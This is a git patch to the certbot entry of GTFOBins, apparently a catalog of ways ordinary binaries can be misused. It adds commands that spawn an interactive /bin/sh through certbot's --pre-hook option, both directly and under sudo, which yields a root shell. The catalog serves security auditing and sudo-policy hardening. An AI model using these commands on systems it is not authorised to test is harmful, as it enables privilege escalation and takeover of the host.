From a02e1a11945cbefeab61fc58b3368936eca1c0b5 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 3 Apr 2021 12:02:43 +0200 Subject: [PATCH] Promote certbot command to shell --- _gtfobins/certbot.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/_gtfobins/certbot.md b/_gtfobins/certbot.md index 3da704a..86b9469 100644 --- a/_gtfobins/certbot.md +++ b/_gtfobins/certbot.md @@ -1,9 +1,11 @@ --- functions: - sudo: - - description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output. - code: | - COMMAND='id' + shell: + - code: | TF=$(mktemp -d) - sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND" + certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0' + sudo: + - code: | + TF=$(mktemp -d) + sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0' ---